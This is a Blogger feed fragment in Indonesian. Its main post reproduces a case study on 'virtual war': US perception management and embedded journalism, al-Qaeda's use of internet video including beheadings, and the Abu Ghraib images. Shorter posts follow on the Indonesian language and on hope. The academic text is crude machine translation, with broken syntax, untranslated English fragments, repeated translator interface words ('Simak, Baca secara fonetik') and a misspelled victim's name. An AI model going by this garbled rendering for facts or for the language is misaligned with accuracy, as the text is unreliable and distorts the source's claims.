Der Derian menulis, 'Apakah kapasitas teknis dan keharusan etis untuk mengancam, dan, jika perlu, mengaktualisasikan kekerasan dari jauh - dengan tidak ada korban atau minimum '(Der Derian 2002: xiv-xv).&lt;br /&gt;Namun, selain mengurangi risiko tempur kepada petugas servis militer AS, yang&lt;br /&gt;meningkatkan keterlibatan pengacara militer di target dan pilihan senjata ' proses telah memberikan kontribusi signifikan terhadap operasi AS jatuh sejalan dengan prinsip kekebalan non-kombatan (Kennedy 2006; Farrell 2005: 137; Ignatieff 2000: 197). Hal ini telah diizinkan Amerika Serikat juga membatasi kematian warga sipil selama kontemporer konflik untuk itu belum pernah terjadi sebelumnya memiliki kemampuan yang historis 'untuk menciptakan&lt;br /&gt;diskriminasi kerusakan '(Farrell 2005: 179).&lt;br /&gt;Yang paling penting, bagaimanapun, ini inovasi teknologi berjalan seiring dengan usaha untuk mendapatkan kontrol atas media representasi perang di mana angkatan bersenjata AS terlibat. Ini kecenderungan 'jurnalisme tertanam' (sebuah jurnalis tertanam adalah reporter berita yang terpasang ke unit militer yang terlibat dalam konflik bersenjata) berasal sebagai akibat dari Perang Vietnam bencana, di mana US pengambil keputusan mengalami kekuatan media untuk membentuk (negatif) persepsi dan hasil dari perang (Herring 1986; Isaacs 1997). The selanjutnya&lt;br /&gt;pencarian untuk mendapatkan kembali kemampuan untuk mengontrol representasi dan dengan demikian membentuk persepsi perang AS di kalangan publik AS (dan Barat khalayak yang lebih luas) sementara memuncak dalam Perang Teluk 1991 dan pemboman di Kosovo kampanye&lt;br /&gt;1999. Fenomena kontroversial 'jurnalisme tertanam' karenanya perlu dipahami sebagai tanggapan atas pengakuan di Pentagon dan Gedung Putih bahwa perang kontemporer terutama media perang, yaitu, kacamata yang tidak hanya berlangsung di medan perang di bawah mata mengamati wartawan, tetapi juga bahwa perang umumnya dimenangkan oleh faksi berperang yang berhasil dalam menggunakan (dan dengan demikian memanipulasi) jaringan media hiburan sebagai bagian dari strategi militer (Münkler 2006: 72-6). Ini tidak berarti bahwa media telah harus kehilangan nya politik kemerdekaan tetapi bahwa informasi yang dapat menerbitkan dan gambar dapat penggunaan umumnya dikendalikan oleh kampanye 'persepsi manajemen Pentagon. manajemen Persepsi adalah istilah yang berasal oleh militer AS. The US Department&lt;br /&gt;Pertahanan (DOD) memberikan definisi ini:&lt;br /&gt;persepsi manajemen - Tindakan untuk menyampaikan dan / atau menolak informasi yang dipilih dan indikator untuk penonton asing untuk mempengaruhi emosi mereka, motif,&lt;br /&gt;dan tujuan penalaran serta sistem intelijen dan para pemimpin di semua tingkat untuk mempengaruhi perkiraan resmi, akhirnya mengakibatkan asing perilaku dan tindakan resmi menguntungkan untuk tujuan originator's. Dalam berbagai cara, manajemen persepsi menggabungkan proyeksi kebenaran, operasi keamanan, tutup dan penipuan, dan operasi psikologis. (Departemen Pertahanan 2001: 411)&lt;br /&gt;Seiring waktu, upaya AS manajemen persepsi 'di telah menjadi lebih canggih dan pusat untuk melakukan perang. Terutama sejak 9 / 11, Pentagon telah lebih agresif dalam upaya untuk mengelola media, mengontrol arus informasi, 132 DIGITALKULTUR dan bentuk jangkauan operasi AS di luar negeri. Pemerintahan Bush telah membentuk beberapa pusat informasi manajemen, yang disebut 'perang kamar' dengan tujuan mengkoordinasikan pesan media dan mendominasi siklus berita selama 'OperasiEnduring Freedom Irak '' dan '.&lt;br /&gt;Kontrol ini media cetak dan saluran televisi telah pusat tidak hanya untuk menciptakan tetapi juga mempertahankan gagasan populer 'perang tanpa biaya', sebuah imajinasi ditanggung oleh para replay berulang menular 'pandangan mata bom' dari rudal presisi-dipandu (PGM) ketika mereka turun ke target yang telah ditentukan. gambar yang dipilih hati-hati disampaikan oleh US operasi menyarankan 'tata bahasa pembunuhan' yang menghindari pertumpahan darah. Mereka hadir operasi AS sebagai tepat, diskriminasi dan bersih. Pada saat yang sama, sekarang diambil-untuk-diberikan kemampuan 'bom pintar' dan keajaiban militer terkait telah secara efektif mendukung dikumpulkan menjadi sebuah retorika discriminacy bermakna antara kombatan dan non-kombatan yang bahkan terkadang telah menegaskan untuk infalibilitas (Beier 2007). Dengan kata lain, kemampuan untuk bingkai persepsi operasi AS sebagai manusiawi dan bedah telah penting untuk menciptakan dan mempertahankan legitimasi perang AS di mata publik (Der Derian 2002: 9-17; Owens 2003: 595-616).&lt;br /&gt;Dengan demikian, realitas medan perang postmodern seperti yang terlihat oleh publik AS terutama dimediasi melalui teknologi media (Virilio 2002). perang postmodern telah&lt;br /&gt;sebagian besar menjadi elektronik dengan perang yang sebenarnya yang dilancarkan tidak lebih dari wilayah yang sesungguhnya tetapi peta virtual dan geografi yang dihasilkan oleh simulasi komputer dan data yang diberikan oleh satelit (Gray 1997). Untuk Der Derian, Perang Teluk pada tahun 1991 merupakan yang awal 'virtual pembersihan', sebuah proses sanitasi kekerasan yang telah ditujukan untuk menaklukkan yang malu tubuh manusia (Der Derian 2002: 120).&lt;br /&gt;Dengan mendaftar tentara AS dan masyarakat AS dengan cara virtual dan berbudi luhur, ini baru berkembang perang media infotainment tidak hanya mengubah pengalaman fisik&lt;br /&gt;konflik melalui sarana teknologi tetapi juga berusaha untuk menghindari kenyataan bahwa&lt;br /&gt;cara AS berperang masih tentang membunuh orang lain (Der Derian 2002: xvi-xvii;&lt;br /&gt;Virilio 2002).&lt;br /&gt;perang AS telah mencapai kesempurnaan mematikan dengan tingkat impunitas yang&lt;br /&gt;historis belum pernah terjadi sebelumnya. Dengan kata lain, ia telah menciptakan kondisi asimetri yang memungkinkan Amerika Serikat untuk semakin upah perang virtual yang mengekspos (US) warga ke seketika realitas perang yang disebarkan akan dibersihkan dari pengorbanan dan pertumpahan (tidak bersalah) darah. Semakin dilancarkan oleh teknisi komputer dan spesialis ketinggian tinggi, hal ini menjadi semakin abstrak, menjauhkan, dan virtual. Fenomena 'pembersihan virtual' itu dicatat oleh Michael Ignatieff selama&lt;br /&gt;Kampanye udara Kosovo:&lt;br /&gt;Simak&lt;br /&gt;Baca secara fonetik&lt;br /&gt;Perang demikian menjadi maya, bukan hanya karena tampaknya terjadi pada layar tetapi karena enlists masyarakat hanya dengan cara virtual ... Kondisi ini mentransform perang menjadi sesuatu seperti olahraga penonton. Seperti halnya dengan olahraga, tidak ada&lt;br /&gt;utama yang dipertaruhkan: tidak bertahan hidup nasional, maupun nasib ekonomi. Perang affords kenikmatan tontonan, dengan getaran menambahkan bahwa itu adalah nyata bagi&lt;br /&gt;seseorang  yang tidak bahagia untuk penonton.&lt;br /&gt;Ini berarti bahwa sistem komputer baru jaringan, simulasi dan precisionguided&lt;br /&gt;sistem persenjataan telah menciptakan sebuah realitas virtual real-time perang yang tidak lagi&lt;br /&gt;memerlukan pengorbanan pribadi sementara mobilisasi warga AS mengalami perang karena beberapa bentuk 'olahraga penonton' tidak-cukup-nyata (McInnes 2002; Mann 1988).&lt;br /&gt;Perang hari ini adalah semakin yang dilancarkan di sektor keempat, dilakukan tidak hanya oleh pengiriman Tomahawks di udara atau Kalashnikov dan serangan bunuh diri di&lt;br /&gt;tanah, tetapi juga oleh sarana byte, bandwidth, gambar digital dan komputer simulasi. Dengan munculnya teknologi Media Baru, bagaimanapun, disanitasi gambar perang AS diciptakan oleh teknologi senjata pintar, 'tertanam jurnalisme', dan Pentagon persepsi manajemen telah mendasar ditantang. Dan sementara penyiaran digunakan menjadi urusan mahal, semua yang diperlukan hari ini adalah komputer, kamera kecil, sedikit perangkat lunak dan koneksi Internet untuk mendapatkan pesan di audiens yang besar. Media Teknologi baru dalam arti yang menyediakan&lt;br /&gt;murah dan berarti user-friendly untuk menghasilkan realitas virtual bersaing dan menciptakan saingan narasi dalam rangka untuk mempengaruhi persepsi konflik tertentu. Sebagai Akibatnya,&lt;br /&gt;pertempuran yang paling penting dalam 'Perang Melawan Teror' belum bertempur di pegunungan Afghanistan atau jalan-jalan di Baghdad, tetapi dalam newsroom di tempat-tempat seperti New York, Atlanta, Kairo atau Doha dan - yang paling penting - dalam berbagai forum internet, melalui YouTube, dalam chatroom dan blog (Bumford 2005). Sebagian besar dari ini (baru) outlet media dikeluarkan dari kontrol ketat humas Pentagon (PR) spesialis dan dengan demikian menawarkan platform melalui mana realitas maya uninterrogated ditawarkan oleh operasi AS dapat dimasukkan ke dalam pertanyaan. Outlet ini telah memungkinkan lawan AS&lt;br /&gt;untuk reconceptualize media publik sebagai ruang pertempuran dan untuk mempekerjakan PR sebagai senjata (Ignatieff 2004a).&lt;br /&gt;Ini telah diambil AS pembuat keputusan waktu yang lama untuk memahami makna dari apa yangevolusi teknologi Media Baru dimaksudkan untuk sifat perang. Pada bulan Februari&lt;br /&gt;2006, Donald Rumsfeld, Sekretaris Pertahanan AS, mengakui bahwa:&lt;br /&gt;Hari ini, kita terlibat dalam perang pertama dalam sejarah - yang tidak konvensional dan tidak regular mungkin - di era email, blog, ponsel, Blackberry, instant messaging, kamera digital, Internet global tanpa hambatan, genggam video kamera, talk radio, siaran berita 24-jam, satelit televisi. Tidak pernah perang berjuang dalam lingkungan ini sebelumnya.&lt;br /&gt;(Rumsfeld 2006)&lt;br /&gt;Dengan kata lain, Amerika Serikat, untuk pertama kalinya dalam sejarah, adalah melancarkan perang di usia di mana berarti melalui mana representasi visual dari konflik yang dihasilkan dan disebarluaskan sedang mengalami perubahan revolusioner.&lt;br /&gt;Tetapi sementara militer AS terutama lamban untuk mewujudkan pentingnya Teknologi baru Media sebagai alat propaganda yang kuat - menurut Rumsfeld, 'yang Pemerintah AS masih berfungsi seperti toko lima dan sepeser pun di dunia eBay '(Rumsfeld 2006) - al-Qaeda telah jauh lebih cepat dan lebih terampil dalam beradaptasi untuk memerangi perang di hari ini umur Media Baru. Dari awal, al-Qaeda telah melihat Media Baru pesan sebagai bagian integral kampanye. Sebagai contoh, Ayman al-Zawahiri, Osama Bin letnan kepala Laden, mengakui bahwa, '[M] bijih dari setengah dari ini [pertempuran melawan 134 DIGITAL KULTUR Amerika Serikat] yang terjadi di medan perang media. Kami berada dalam pertempuran media&lt;br /&gt;dalam perlombaan untuk hati dan pikiran umat Islam '(Lewis 2001).&lt;br /&gt;Pernyataan kunci menunjukkan bahwa al-Qaida sedang mengejar strategi yang disengaja, bukan dengan peluru tetapi dengan kata-kata dan gambar. Dan berdasarkan bukti-bukti al-Qaeda melawan 'kafir' di Afghanistan dan Irak, jaringan Bin Laden telah menemukan&lt;br /&gt;Teknologi baru Media sebagai alat strategis yang kuat untuk menyebarkan propaganda dan mempengaruhi opini publik. Sebagai contoh, antara peristiwa 9 / 11 dan akhir tahun 2006, al-Qaeda telah merilis lebih dari 50 pesan video, sebagian besar yang 'disiarkan' melalui Internet (Hegghammer 2006a). Ini kerja teknologi Media Baru oleh al-Qaeda menandai munculnya teroris sebagai sutradara. Kelompok ini, yang menjalankan sebuah komite PR profesional, berjalan panjang lebar untuk film semua operasinya yang, melalui Internet, dapat langsung masuk ke audiens target tanpa melalui filter seperti CNN atau BBC. Jadi, dalam banyak hal, tujuan menggunakan kekerasan ekstrim adalah untuk menciptakan sebuah acara media. Dalam hal pemasaran, pesan visual ini berfungsi sebagai poster perekrutan untuk pemberontakan di Afghanistan dan Irak serta kuat simbol perlawanan terhadap kekuatan militer terbesar di dunia.&lt;br /&gt;Dalam arti, itu adalah strategi aktor militer yang kurang beruntung yang kreatif mempekerjakan outlet informasi baru yang tidak hanya melewati 'manajemen persepsi' AS&lt;br /&gt;tetapi juga evades kekuatan militer AS untuk menang melawan 'kafir' politik (Anonim 2004; Bergen 2002: 1-23). Dengan kata lain, gerilya klasik strategi disesuaikan dengan usia teknologi Media Baru: untuk mencari musuh lemah dan tanpa perlindungan sayap sambil menghindari kekuatan militer yang terakhir. Berlaku kondisi asimetri militer telah memaksa jaringan teroris Bin Laden menyesuaikan dengan memanfaatkan menahan diri dalam peperangan AS kontemporer, yaitu kebutuhan militer AS (untuk tampil) untuk mencapai kedua tingkat tinggi korban-keengganan dan perlindungan sipil dalam rangka sah di mata rakyat AS. Al-Qaeda&lt;br /&gt;Oleh karena itu strategi asimetris bertujuan delegitimizing operasi AS dengan menantang representasi visual dari peperangan AS sebagai bersih, manusiawi dan bedah. Dengan evolusi teknologi New Media, AS kemampuan untuk kondisi representasi dari medan perang hilang. Kontrol media dan eksklusivitas yang Jenderal Norman Schwarzkopf dimiliki selama awal 1990-an dan dari yang NATO masih manfaat selama kampanye Kosovo rusak (Münkler 2006: 72-6). New Media Teknologi telah menjadi sarana perlawanan visual.&lt;br /&gt;Simak&lt;br /&gt;Baca secara fonetik&lt;br /&gt;Hal ini menimbulkan pertanyaan yang lebih luas tentang apakah perang virtual yang pernah sebagai manusiawi, bersih dan tak berdarah seperti yang disarankan. Sebelumnya, Pentagon bisa menggambarkan perang virtual berdarah karena pemilik gelombang udara dan membuat semua editorial keputusan seperti apa punya ditampilkan pada berita. Dalam konteks ini, pertanyaan apakah perang virtual itu bersih adalah salah satu bahwa kami bisa pernah benar-benar menjawab: semua yang kita hanya bisa berkata bahwa tampaknya begitu, berdasarkan cakupan kami lihat di berita. Tapi banyak hal telah berubah, dan munculnya 'bajak laut' teknologi telah melahirkan pandangan yang berkembang bahwa dalam perang virtual reality tidak benar-benar bersih. Dalam hal ini, munculnya Baru Media teknologi memiliki efek yang sama dengan pembukaan sebuah arsip baru yang - sedikit demi bit - delegitimizes asumsi sebelumnya yang dihasilkan.&lt;br /&gt;Dalam konteks 'Perang Melawan Teror', musuh AS yang mengejar delegitimization&lt;br /&gt;dari mesin perang AS dengan aktif manusiawi peperangan. Di Afghanistan dan Irak&lt;br /&gt;STUDI KASUS: PERANG VIRTUAL 135&lt;br /&gt;Al-Qaeda sel secara sistematis digunakan perisai manusia, terletak mereka operasional&lt;br /&gt;markas di Masjid, ditargetkan pekerja bantuan internasional, dan sengaja kabur&lt;br /&gt;perbedaan antara kombatan dan non-kombatan (Cordesman 2002: 23, 35;&lt;br /&gt;Human Rights Watch 2002: 40-4). Sementara beberapa dari strategi ini tidak sepenuhnya&lt;br /&gt;baru, New Media teknologi telah menyediakan pemberontak / teroris dengan kualitatif&lt;br /&gt;cara baru berperang. Mereka tidak hanya menyediakan al-Qaeda dengan cara yang asimetris&lt;br /&gt;untuk keluar dari inferioritas militer di medan perang hari ini dan langsung menyerang penonton Western 'penonton-olah raga', tetapi juga sarana untuk delegitimize Pentagon dengan hati-hati citra perang berdarah.&lt;br /&gt;Simak&lt;br /&gt;Baca secara fonetik&lt;br /&gt;Hal ini dilakukan dalam dua cara. Pertama, dengan mengungkapkan (dan, dalam proses, sering melebih-lebihkan) sebenarnya kekerasan yang ditimbulkan oleh perang AS melawan taktik dan dengan demikian memperlihatkan gambar AS sebagai representasi propaganda perang. Di sini, al-Qaida balas rekaman langsung memukul 'rudal pintar' mereka sasaran militer di pusat Kabul dengan Internet video rekaman yang memperlihatkan biaya perang sipil di tanah. Ini telah menggunakan Internet dan instrumentalized tradisional media seperti al- Jazeera mengklaim bahwa lebih dari 7.000 warga sipil Afghanistan tewas dalam pemboman AS kampanye (sementara angka yang paling dapat diandalkan berkisar antara 1.000 dan 1.300 sipil&lt;br /&gt;korban) (Conetta 2002a; Herold 2002; Todenhofer 2002; Bearak 2002).&lt;br /&gt;jaringan teroris Al-Zarqawi di Irak telah cepat untuk memahami bahwa New&lt;br /&gt;perangkat Media memiliki kekuatan untuk frame kekejaman AS tunggal dan mengubahnya menjadi gambar yang dapat getah legitimasi operasi militer di kalangan publik Barat dan Arab.&lt;br /&gt;Asumsi yang mendasari adalah bahwa kesediaan masyarakat AS untuk melakukan kekejaman dalam pertahanan dibatasi oleh jijik moral. Dengan kata lain, dengan sengaja&lt;br /&gt;menggunakan Internet, blog dan video digital, al-Qaeda telah mampu untuk membentuk suatu realitas-counter dengan yang dihasilkan oleh dan, sampai saat ini, secara eksklusif dikondisikan oleh mesin perang AS. Sementara yang kedua telah berusaha untuk membuat korban perang menghilang (Conetta 2002b), mantan telah menempatkan kematian sepenuhnya kembali pada pusat perusahaan New Media strategi.&lt;br /&gt;Kedua, al-Qaeda, Taliban dan pemberontak Irak / teroris aktif dehumanized&lt;br /&gt;perang dengan memproduksi gambar digital dan video internet yang merayakan penumpahan darah pada saat representasi AS perang menunjukkan sebuah tata bahasa pembunuhan yang berdarah dan bedah. Contoh terbaik dapat ditemukan dalam masyarakat pemenggalan video yang didominasi al-Qaeda kampanye PR antara 2001 dan 2004. Video ini mengumumkan bahwa al-Qaeda menetapkan standar dalam kebiadaban dan bahwa tidak ada satu, bahkan tidak perempuan, dianggap sebagai tidak bersalah. Salah satu korban yang paling menonjol adalah Margaret Hassam, country director dari CARE International. Nya tidak bersalah (yang memiliki&lt;br /&gt;hidup sebagai pekerja sosial di Irak selama lebih dari tiga dekade dan menikah dengan orang Irak) tepatnya titik penculikan dan pemenggalan kepala ritual. Tujuan video pemenggalan bukan untuk membunuh sandera (suatu tindakan yang bisa saja banyak berprestasi lebih bersih dengan peluru di belakang kepala). Sebaliknya, Tujuan adalah untuk membuat suatu acara menjadi videoed, dirancang sebagai bom virtual target harapan AS bahwa adalah mungkin bagi asing untuk melakukan perbuatan baik di Irak. Images seperti ini dirancang untuk mengikis akan politik masyarakat AS untuk melanjutkan Komitmen militer di Irak. Al-Qaeda memahami bahwa pembantaian ritual penyiaran dapat memiliki efek dahsyat: setelah rekaman pembunuhan serupa tentara dan 136 DIGITAL KULTUR pekerja bantuan dari Spanyol dan Filipina, kedua negara - menanggapi&lt;br /&gt;kemarahan publik di rumah - segera menarik seluruh pasukan militer mereka dari Irak.&lt;br /&gt;Pada saat legitimasi perang AS dipertahankan melalui visual&lt;br /&gt;representasi yang benar-benar menyangkal fakta bahwa perang masih tentang membunuh orang lain, publik&lt;br /&gt;video pemenggalan telah digunakan oleh al-Qaeda sebagai senjata strategis yang dirancang untuk&lt;br /&gt;shock, frustrasi dan menakut-nakuti penonton penonton olahraga peperangan. Ini bukan santai&lt;br /&gt;tindakan sadisme tetapi upaya dihitung untuk memprovokasi dalam rangka untuk menarik Amerika Serikat dan perusahaan&lt;br /&gt;sekutu dalam tindakan balas dendam. Mereka sengaja dibuat untuk menawarkan penjajaran&lt;br /&gt;manusiawi gambar ke gambar manusiawi disampaikan oleh perang AS netcentric.&lt;br /&gt;Dengan demikian, gambar digital dan video Internet telah digunakan sebagai senjata strategis untuk&lt;br /&gt;pemanfaatan inabilities Barat untuk perut penumpahan (tidak bersalah) darah. Teroris&lt;br /&gt;pemimpin seperti Bin Laden dan Al-Zarqawi tahu bahwa satu-satunya cara memaksa AS&lt;br /&gt;penarikan terletak pada bergoyang kemauan politik dari pemilih yang menempatkan tentaranya di&lt;br /&gt;risiko (Hegghammer 2006a). Ini adalah tempat gambar digital menjadi senjata virtual&lt;br /&gt;perang, cara untuk menguji dan menghancurkan AS akan. Al-Qaeda mengandalkan kesia-siaan dari&lt;br /&gt;AS moral jijik sebagai langkah pertama menuju retak akan untuk terus berjuang.&lt;br /&gt;Simak&lt;br /&gt;Baca secara fonetik&lt;br /&gt;Namun, penting untuk diingat bahwa penggunaan teknologi Media Baru belum&lt;br /&gt;menjadi praktek eksklusif antara musuh AS tetapi juga terjadi semakin&lt;br /&gt;dari dalam mesin perang Amerika itu sendiri. Telepon genggam, blog, MySpace dan&lt;br /&gt;YouTube juga diberdayakan tentara AS individu menjadi potensi&lt;br /&gt;wartawan. Dengan demikian, selain teroris sebagai impresario YouTube, ada juga menjadi&lt;br /&gt;US penyiksa sebagai seniman video digital. Abu Ghraib gambar dan video ponsel&lt;br /&gt;rekaman yang diambil oleh personil militer AS sudah pasti tidak hanya dimaksudkan untuk swasta&lt;br /&gt;digunakan. Beberapa dari mereka dimaksudkan sebagai pendorong untuk penyiksa lainnya (dan benar-benar upload&lt;br /&gt;ke website pribadi) sementara yang lain seharusnya ditampilkan kepada tahanan lain untuk&lt;br /&gt;memperingatkan mereka apa yang menanti mereka jika mereka tidak bekerja sama. Di sini, gambar digital telah&lt;br /&gt;menjadi instrumen koersif interogasi. Tetapi terlepas dari apakah ini&lt;br /&gt;cuplikan menemukan sebuah penyalahgunaan ilegal sistematis tahanan atau 'hanya' terbukti menjadi&lt;br /&gt;pengecualian, ia memiliki lebih rumit Pentagon 'persepsi manajemen' (Hersh&lt;br /&gt;2004). Media Teknologi baru memungkinkan tentara AS untuk menangkap dan mempublikasikan pribadi mereka&lt;br /&gt;pengalaman dengan cara yang berada di luar kendali Pentagon. Dalam arti, ini&lt;br /&gt;pengembangan menandai merger prajurit dengan wartawan perang. Setiap AS&lt;br /&gt;reparasi dan seorang wanita bisa menjadi seorang wartawan perang yang potensial digital rekaman -&lt;br /&gt;seperti dalam kasus penyalahgunaan tahanan di Abu Ghraib berkerudung yang disiarkan oleh&lt;br /&gt;majalah televisi 60 Minutes II pada akhir April 2004 - memiliki potensi untuk lebih&lt;br /&gt;delegitimize operasi AS di mata publik. Skandal politik yang dihasilkan&lt;br /&gt;dari gambar-gambar penyiksaan merusak legitimasi dan citra publik dari Amerika Serikat dalam&lt;br /&gt;pelaksanaan operasi militer yang sedang berlangsung di Irak.&lt;br /&gt;Simak Baca secara fonetik&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Kesimpulan&lt;/b&gt;&lt;br /&gt;Studi kasus ini telah diharapkan ilustrasi bagaimana New Media teknologi telah mulai&lt;br /&gt;mengubah pengalaman perang untuk itu memungkinkan produksi bersaing virtual&lt;br /&gt;realitas. Sebuah cara baru penyebaran informasi, teknologi New Media&lt;br /&gt;AS memungkinkan musuh untuk mematahkan kemampuan eksklusif Pentagon untuk frame&lt;br /&gt;STUDI KASUS: PERANG VIRTUAL 137&lt;br /&gt;persepsi perang AS dengan menciptakan virtual kontra-realitas yang bertujuan delegitimizing&lt;br /&gt;AS beroperasi di global 'Perang Melawan Teror'. Akibatnya, dua puluh pertama abad&lt;br /&gt;peperangan tidak terutama yang telah dilancarkan atas dominasi militer di Kandahar atau&lt;br /&gt;segitiga Sunni, tapi selama representasi konflik dan persepsi publik.&lt;br /&gt;Kontemporer perang telah berubah menjadi pertempuran gambar digital, atau apa Paulus Virilio&lt;br /&gt;terkenal disebut sebagai 'perang cybernetic persuasi dan penasihatan jangan' (Virilio 2002: ix).&lt;br /&gt;Di sini, sasaran strategis utama tidak lagi penghapusan musuh's&lt;br /&gt;kekuatan militer tetapi (kembali) membentuk opini publik. Hal ini dalam dunia (baru) media&lt;br /&gt;medan perang di mana pertanyaan-pertanyaan tentang kemenangan dan kekalahan ditentukan.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-3276805119262876219?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/3276805119262876219/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/11/kesenjangan-digital.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3276805119262876219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3276805119262876219'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/11/kesenjangan-digital.html' title='Kesenjangan Digital'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-7080750527956982824</id><published>2010-09-29T07:39:00.000+07:00</published><updated>2010-09-29T07:40:49.656+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='My Artikel'/><title type='text'>Perkembangan Bahasa Indonesia</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bPukrXvQvG0/TKKJaltLQtI/AAAAAAAAAB4/qgHVR7Y4EWs/s1600/wew.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_bPukrXvQvG0/TKKJaltLQtI/AAAAAAAAAB4/qgHVR7Y4EWs/s1600/wew.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Bahasa Indonesia itu berasal dari bahasa melayu, namun seiringnya perkembangan jaman Bahasa ini pun makin lama semakin membingungkan, pada tahun 2003 banyak orang meneliti perkembangan bahasa dimana bahasa Indonesia ini pun berubah bentuk kosakatanya entah darimana kata kata tersebut berasal, misalkan saja bahasa ABG atau bisa disebut juga dengan bahasa gaul. Untuk bahasa daerah memang wajar karena tiap suku atau daerah pasti punya cara mereka untuk berkomunikasi satu dengan yang lainnya.&lt;br /&gt;&lt;br /&gt;Jadi darimanakah bahasa gaul tersebut ada?? Penyebabnya adalah lingkungan jaman yang semakin berkembang, kita ini sebenarnya memakai adat timur bukan barat. Karena banyak sekali generasi muda yang menganggap kebudayaan barat tersebut unik dan pantas untuk di ikuti layaknya pakaian maupun bahasa, sebagian besar mungkin berfikir mengapa tidak menciptakan sesuatu yang diri sendiri bisa kita buat, layaknya seperti bahasa gaul tersebut.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Krisis bahasa Indonesia?? Ya, memang sekarang bisa dibilang seperti itu karena kita tahu sekarang banyak baik media, ucapan lisan atau apapun banyak yg mengkaitkan dengan bahasa asing, contoh inggris. Semestinya kita tahu bahwa memakai suatu bahasa asing kedalam bahasa Indonesia itu sama saja mencapur adukan bahasa, jika orang yang berpendidikan tinggi maka bahasa tersebut bukanlah bahasa Indonesia, karena globalisasi sebaiknya menggunakan bahasa yang universal yaitu bahasa inggris saja.&lt;br /&gt;&lt;br /&gt;Jikalau memakai bahasa baik itu campuran atau bahasa gaul, bagaimana nasib bangsa kita ketika anak dan cucu kita mendengar ucapan kalimat atau sebuah kata ‘Gaul’ tersebut. Jika hal itu terus dilakukan maka generasi berikutnya bahasa Indonesia semakin lama semakin terlupakan. Sehingga bahasa kita tersebut tidak mempunyai pegangan lagi dan bisa pula diambil ataupun ditiru oleh bangsa lain, karena kita sebagai rakyat Indonesia ini sendiripun tidak menjaga tentang arti Bahasa Indonesia itu sendiri. Jangan salahkan sesuatu yang sudah ada menjadi milik orang lain karena kita sendiri tidak menjaganya dengan baik.&lt;br /&gt;&lt;br /&gt;Oleh karena ini, melalui ini. Tulisan ini bukan untuk mengajari, melainkan untuk menghimbau.&lt;br /&gt;Marilah kita bersama-sama, mulai merawat budaya bangsa kita sendiri. mulailah&lt;br /&gt;menggunakan bahasa Indonesia dengan benar. Janganlah kita mengacak-acak bangsa kita&lt;br /&gt;sendiri. mari kita berpikir dan merenung untuk melangkah lebih maju lagi.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-7080750527956982824?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/7080750527956982824/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/09/perkembangan-bahasa-indonesia.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7080750527956982824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7080750527956982824'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/09/perkembangan-bahasa-indonesia.html' title='Perkembangan Bahasa Indonesia'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bPukrXvQvG0/TKKJaltLQtI/AAAAAAAAAB4/qgHVR7Y4EWs/s72-c/wew.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-678568778762318319</id><published>2010-06-04T16:33:00.001+07:00</published><updated>2010-06-04T16:39:03.188+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBD'/><title type='text'>Resume Manusia Dan Harapan</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjJk52zVLI/AAAAAAAAABY/YdqMkfjsC5A/s1600/have+a+dream.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/_bPukrXvQvG0/TAjJk52zVLI/AAAAAAAAABY/YdqMkfjsC5A/s200/have+a+dream.jpg" width="136" /&gt;&lt;/a&gt;&lt;/div&gt;Harapan dapat diartikan sebagai menginginkan sesuatu yang dipercayai dan dianggap benar dan jujur oleh setiap manusia sehingga bisa menjadi miliknya. Dalam hal ini, seorang manusia dan harapannya agar dapat dicapai, memerlukan kepercayaan kepada diri sendiri, kepercayaan kepada orang lain dan kepercayaan kepada Tuhan. Kepercayaan kepada diri sendiri dapat ditimbulkan dengan mulai memiliki konsepsi diri yang positif baik itu melalui fisik, cara berpikir dan 